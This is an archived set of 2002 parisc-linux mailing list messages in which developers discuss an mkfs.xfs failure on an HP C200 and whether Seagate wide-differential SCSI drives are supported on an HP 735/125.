Original-Received: from x.dreamin.de (IP-213157009071.dialin.heagmedianet.de [213.157.9.71])
	by dsl2.external.hp.com (Postfix) with ESMTP id 16D2B4834
	for <parisc-linux@lists.parisc-linux.org>; Thu, 24 Oct 2002 12:17:49 -0600 (MDT)
Original-Received: from dreamind by x.dreamin.de with local (Exim 3.36 #1 (Debian))
	id 184mY3-0002cn-00; Thu, 24 Oct 2002 20:17:35 +0200
Content-Disposition: inline
In-Reply-To: <20021024181540.GE5602@tausq.org>
User-Agent: Mutt/1.4i
X-PGP-Algorithms: RSA and DSA/EG keys are available
X-Operating-System: Debian GNU/Linux testing/unstable (Kernel 2.4.19-pa9-xfs)
X-Cool: http://dreamind.de
X-MSMail-Priority: High
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16574

Hi,

* Randolph Chung <randolph@tausq.org> [021024 20:15]:
> i thought i fixed this in the kernel recently (last month). If this is
> still not working, please point out the kernel version you are using.
Hm, maybe, it has been a while since I updated that machine.

2.4.19-pa9-xfs is running there.

bye

Stefan

-- 
        http://www.dreamind.de/
Oroborus and Debian GNU/Linux Developer.


From - Thu Nov 08 21:25:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: mkfs.xfs (xfsprogs-2.3.5) failled
Date: Thu, 24 Oct 2002 12:00:27 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20021024190027.GF5602@tausq.org>
References: <3DB5776100000362@ocpmta8.be.tiscali.com> <20021024175802.GA9490@dreamind.de> <20021024181540.GE5602@tausq.org> <20021024181735.GA10043@dreamind.de>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621857 15990 80.91.229.3 (22 Nov 2014 02:04:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:17 +0000 (UTC)
Cc: jsoe0708@tiscali.be, parisc-linux@lists.parisc-linux.org
To: Stefan Pfetzing <dreamind@dreamind.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 24 12:55:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D8EB4834
	for <parisc-linux@lists.parisc-linux.org>; Thu, 24 Oct 2002 12:55:56 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id E12DACD83C; Thu, 24 Oct 2002 12:00:27 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20021024181735.GA10043@dreamind.de>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16575

> Hm, maybe, it has been a while since I updated that machine.
> 
> 2.4.19-pa9-xfs is running there.

what machine was this on? is this a 32-bit or 64-bit kernel?

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:25:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Nairn <richard@nairnconsulting.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 735/125 Wide Diff scsi
Date: Thu, 24 Oct 2002 15:50:11 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <20021024215011.GP26502@taurus.nairnconsulting.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621857 15991 80.91.229.3 (22 Nov 2014 02:04:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 24 15:50:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from nairnconsulting.ca (ajio6tly55li.ab.hsia.telus.net [142.59.171.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 09F9F4834
	for <parisc-linux@lists.parisc-linux.org>; Thu, 24 Oct 2002 15:50:36 -0600 (MDT)
Original-Received: (from richard@localhost)
	by nairnconsulting.ca (8.11.2/8.11.2) id g9OLoBn05924
	for parisc-linux@lists.parisc-linux.org; Thu, 24 Oct 2002 15:50:11 -0600
Content-Disposition: inline
User-Agent: Mutt/1.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16576

Hi There,

I have a number of Seagate WD drives that I would like to put on my
735/125.  It doesn't seem to recognize them.  Is the Wide scsi chain
supported?


Thanks.
Richard

-- 
|       Richard Nairn          Specializing in Linux
|     Nairn Consulting         Web / Database Solutions
|        Calgary, AB           
| Richard@NairnConsulting.ca


From - Thu Nov 08 21:25:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735/125 Wide Diff scsi
Date: Thu, 24 Oct 2002 16:20:29 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <20021024222029.D007F37D63@carmen.fc.hp.com>
References: <20021024215011.GP26502@taurus.nairnconsulting.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621857 15995 80.91.229.3 (22 Nov 2014 02:04:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Nairn <richard@nairnconsulting.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 24 16:20:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id BEF4A4834
	for <parisc-linux@lists.parisc-linux.org>; Thu, 24 Oct 2002 16:20:33 -0600 (MDT)
Original-Received: from smtp1.fc.hp.com (smtp1.fc.hp.com [15.15.136.127])
	by atlrel7.hp.com (Postfix) with ESMTP
	id CC37B8057D6; Thu, 24 Oct 2002 18:20:30 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp1.fc.hp.com (Postfix) with ESMTP
	id 5EDC737EF3; Thu, 24 Oct 2002 16:20:30 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 52AB34519; Thu, 24 Oct 2002 16:20:30 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id D007F37D63; Thu, 24 Oct 2002 16:20:29 -0600 (MDT)
X-Mailer: exmh version 2.5 07/13/2001 (debian 2.5-1) with nmh-1.0.4+dev
In-Reply-To: Your message of "Thu, 24 Oct 2002 15:50:11 MDT."
             <20021024215011.GP26502@taurus.nairnconsulting.ca> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16577

Richard Nairn writes...

> Hi There,
> 
> I have a number of Seagate WD drives that I would like to put on my
> 735/125.  It doesn't seem to recognize them.  Is the Wide scsi chain
> supported?

Well if you're plugging it in to a narrow single ended bus the drive should 
fall back. If you're trying to plug it in to a wide high voltage 
differential bus that's not going to work.

So which bus does your 735 have?

-- 
Matt Taggart
taggart@fc.hp.com




From - Thu Nov 08 21:25:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735/125 Wide Diff scsi
Date: Thu, 24 Oct 2002 18:25:12 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200210242225.g9OMPCSE027067@hiauly1.hia.nrc.ca>
References: <20021024222029.D007F37D63@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621858 15996 80.91.229.3 (22 Nov 2014 02:04:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:18 +0000 (UTC)
Cc: richard@nairnconsulting.ca, parisc-linux@lists.parisc-linux.org
To: taggart@carmen.fc.hp.com (Matt Taggart)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 24 16:28:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 46924484B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 24 Oct 2002 16:28:55 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g9OMPD00027068;
	Thu, 24 Oct 2002 18:25:13 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g9OMPCSE027067;
	Thu, 24 Oct 2002 18:25:12 -0400 (EDT)
In-Reply-To: <20021024222029.D007F37D63@carmen.fc.hp.com> from "Matt Taggart" at Oct 24, 2002 04:20:29 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16578

> Richard Nairn writes...
> 
> > Hi There,
> > 
> > I have a number of Seagate WD drives that I would like to put on my
> > 735/125.  It doesn't seem to recognize them.  Is the Wide scsi chain
> > supported?
> 
> Well if you're plugging it in to a narrow single ended bus the drive should 
> fall back. If you're trying to plug it in to a wide high voltage 
> differential bus that's not going to work.
> 
> So which bus does your 735 have?

They have both SE and WD.  As far as I know, the controller for the WD
bus is still not supported.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Nairn <richard@nairnconsulting.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735/125 Wide Diff scsi
Date: Thu, 24 Oct 2002 16:34:21 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <20021024223421.GR26502@taurus.nairnconsulting.ca>
References: <20021024222029.D007F37D63@carmen.fc.hp.com> <200210242225.g9OMPCSE027067@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621858 15997 80.91.229.3 (22 Nov 2014 02:04:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:18 +0000 (UTC)
Cc: Matt Taggart <taggart@carmen.fc.hp.com>,
	richard@nairnconsulting.ca, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 24 16:37:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from nairnconsulting.ca (ajio6tly55li.ab.hsia.telus.net [142.59.171.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8F4DF483E
	for <parisc-linux@lists.parisc-linux.org>; Thu, 24 Oct 2002 16:37:43 -0600 (MDT)
Original-Received: (from richard@localhost)
	by nairnconsulting.ca (8.11.2/8.11.2) id g9OMYLK07477;
	Thu, 24 Oct 2002 16:34:21 -0600
Content-Disposition: inline
In-Reply-To: <200210242225.g9OMPCSE027067@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16579

Is there any approx time for the WD driver? I have about 60G I can put on
my machine if it works.. Will it work if It gets plugged in the SE Chain?




On Thu, Oct 24, 2002 at 06:25:12PM -0400, John David Anglin wrote:
> > Richard Nairn writes...
> > 
> > > Hi There,
> > > 
> > > I have a number of Seagate WD drives that I would like to put on my
> > > 735/125.  It doesn't seem to recognize them.  Is the Wide scsi chain
> > > supported?
> > 
> > Well if you're plugging it in to a narrow single ended bus the drive should 
> > fall back. If you're trying to plug it in to a wide high voltage 
> > differential bus that's not going to work.
> > 
> > So which bus does your 735 have?
> 
> They have both SE and WD.  As far as I know, the controller for the WD
> bus is still not supported.
> 
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)
---end quoted text---

-- 
|       Richard Nairn          Specializing in Linux
|     Nairn Consulting         Web / Database Solutions
|        Calgary, AB           
| Richard@NairnConsulting.ca


From - Thu Nov 08 21:25:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735/125 Wide Diff scsi
Date: Thu, 24 Oct 2002 18:34:38 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200210242234.g9OMYdrf027093@hiauly1.hia.nrc.ca>
References: <200210242225.g9OMPCSE027067@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621858 15998 80.91.229.3 (22 Nov 2014 02:04:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:18 +0000 (UTC)
Cc: taggart@carmen.fc.hp.com, richard@nairnconsulting.ca,
	parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 24 16:38:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 10209483E
	for <parisc-linux@lists.parisc-linux.org>; Thu, 24 Oct 2002 16:38:23 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g9OMYd00027095;
	Thu, 24 Oct 2002 18:34:40 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g9OMYdrf027093;
	Thu, 24 Oct 2002 18:34:39 -0400 (EDT)
In-Reply-To: <200210242225.g9OMPCSE027067@hiauly1.hia.nrc.ca> from "John David Anglin" at Oct 24, 2002 06:25:12 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16580

> > Richard Nairn writes...
> > 
> > > Hi There,
> > > 
> > > I have a number of Seagate WD drives that I would like to put on my
> > > 735/125.  It doesn't seem to recognize them.  Is the Wide scsi chain
> > > supported?
> > 
> > Well if you're plugging it in to a narrow single ended bus the drive should 
> > fall back. If you're trying to plug it in to a wide high voltage 
> > differential bus that's not going to work.

That's not correct.  Seagate WD drives must be installed on the wide
high-voltage differential bus.  They will not work on a SE bus (even
a wide one).  You also need a WD bus terminator.  They are different
from wide SE terminators.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735/125 Wide Diff scsi
Date: Thu, 24 Oct 2002 18:40:25 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200210242240.g9OMePYu027114@hiauly1.hia.nrc.ca>
References: <20021024223421.GR26502@taurus.nairnconsulting.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621858 15999 80.91.229.3 (22 Nov 2014 02:04:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:18 +0000 (UTC)
Cc: taggart@carmen.fc.hp.com, richard@nairnconsulting.ca,
	parisc-linux@lists.parisc-linux.org
To: richard@nairnconsulting.ca (Richard Nairn)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 24 16:44:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id F35E84834
	for <parisc-linux@lists.parisc-linux.org>; Thu, 24 Oct 2002 16:44:06 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g9OMeP00027116;
	Thu, 24 Oct 2002 18:40:26 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g9OMePYu027114;
	Thu, 24 Oct 2002 18:40:25 -0400 (EDT)
In-Reply-To: <20021024223421.GR26502@taurus.nairnconsulting.ca> from "Richard Nairn" at Oct 24, 2002 04:34:21 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16581

> Is there any approx time for the WD driver? I have about 60G I can put on
> my machine if it works.. Will it work if It gets plugged in the SE Chain?

No.  It may cause damage.

There was a question about the WD driver not too long ago.  You could search
for the answer but I believe only hpux supports the WD interface at this
time.  You may be able to add a newer LVD to the SE chain and have it
work.  I'm not sure if it could be used as a boot device though.

I've been watching for this support for some time as I have a 735 with
a bunch of Seagate WD drives on it running under hpux.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stefan Pfetzing <dreamind@dreamind.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: mkfs.xfs (xfsprogs-2.3.5) failled
Date: Fri, 25 Oct 2002 01:08:02 +0200
Organization: private
Lines: 19
Approved: news@gmane.org
Message-ID: <20021024230802.GA16922@dreamind.de>
References: <3DB5776100000362@ocpmta8.be.tiscali.com> <20021024175802.GA9490@dreamind.de> <20021024181540.GE5602@tausq.org> <20021024181735.GA10043@dreamind.de> <20021024190027.GF5602@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621859 16002 80.91.229.3 (22 Nov 2014 02:04:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:19 +0000 (UTC)
Cc: jsoe0708@tiscali.be, parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 24 17:08:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from x.dreamin.de (IP-213157009071.dialin.heagmedianet.de [213.157.9.71])
	by dsl2.external.hp.com (Postfix) with ESMTP id A37464834
	for <parisc-linux@lists.parisc-linux.org>; Thu, 24 Oct 2002 17:08:10 -0600 (MDT)
Original-Received: from dreamind by x.dreamin.de with local (Exim 3.36 #1 (Debian))
	id 184r59-0004QN-00; Fri, 25 Oct 2002 01:08:03 +0200
Content-Disposition: inline
In-Reply-To: <20021024190027.GF5602@tausq.org>
User-Agent: Mutt/1.4i
X-PGP-Algorithms: RSA and DSA/EG keys are available
X-Operating-System: Debian GNU/Linux testing/unstable (Kernel 2.4.19-pa9-xfs)
X-Cool: http://dreamind.de
X-MSMail-Priority: High
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16582

Hi Randolph,

* Randolph Chung <randolph@tausq.org> [021024 21:00]:
> > Hm, maybe, it has been a while since I updated that machine.
> > 
> > 2.4.19-pa9-xfs is running there.
> 
> what machine was this on? is this a 32-bit or 64-bit kernel?

Its a HP Visualize C200 and its a 32bit kernel.

bye

Stefan

-- 
        http://www.dreamind.de/
Oroborus and Debian GNU/Linux Developer.


From - Thu Nov 08 21:25:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735/125 Wide Diff scsi
Date: Thu, 24 Oct 2002 18:44:28 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <20021025004428.1E5454834@dsl2.external.hp.com>
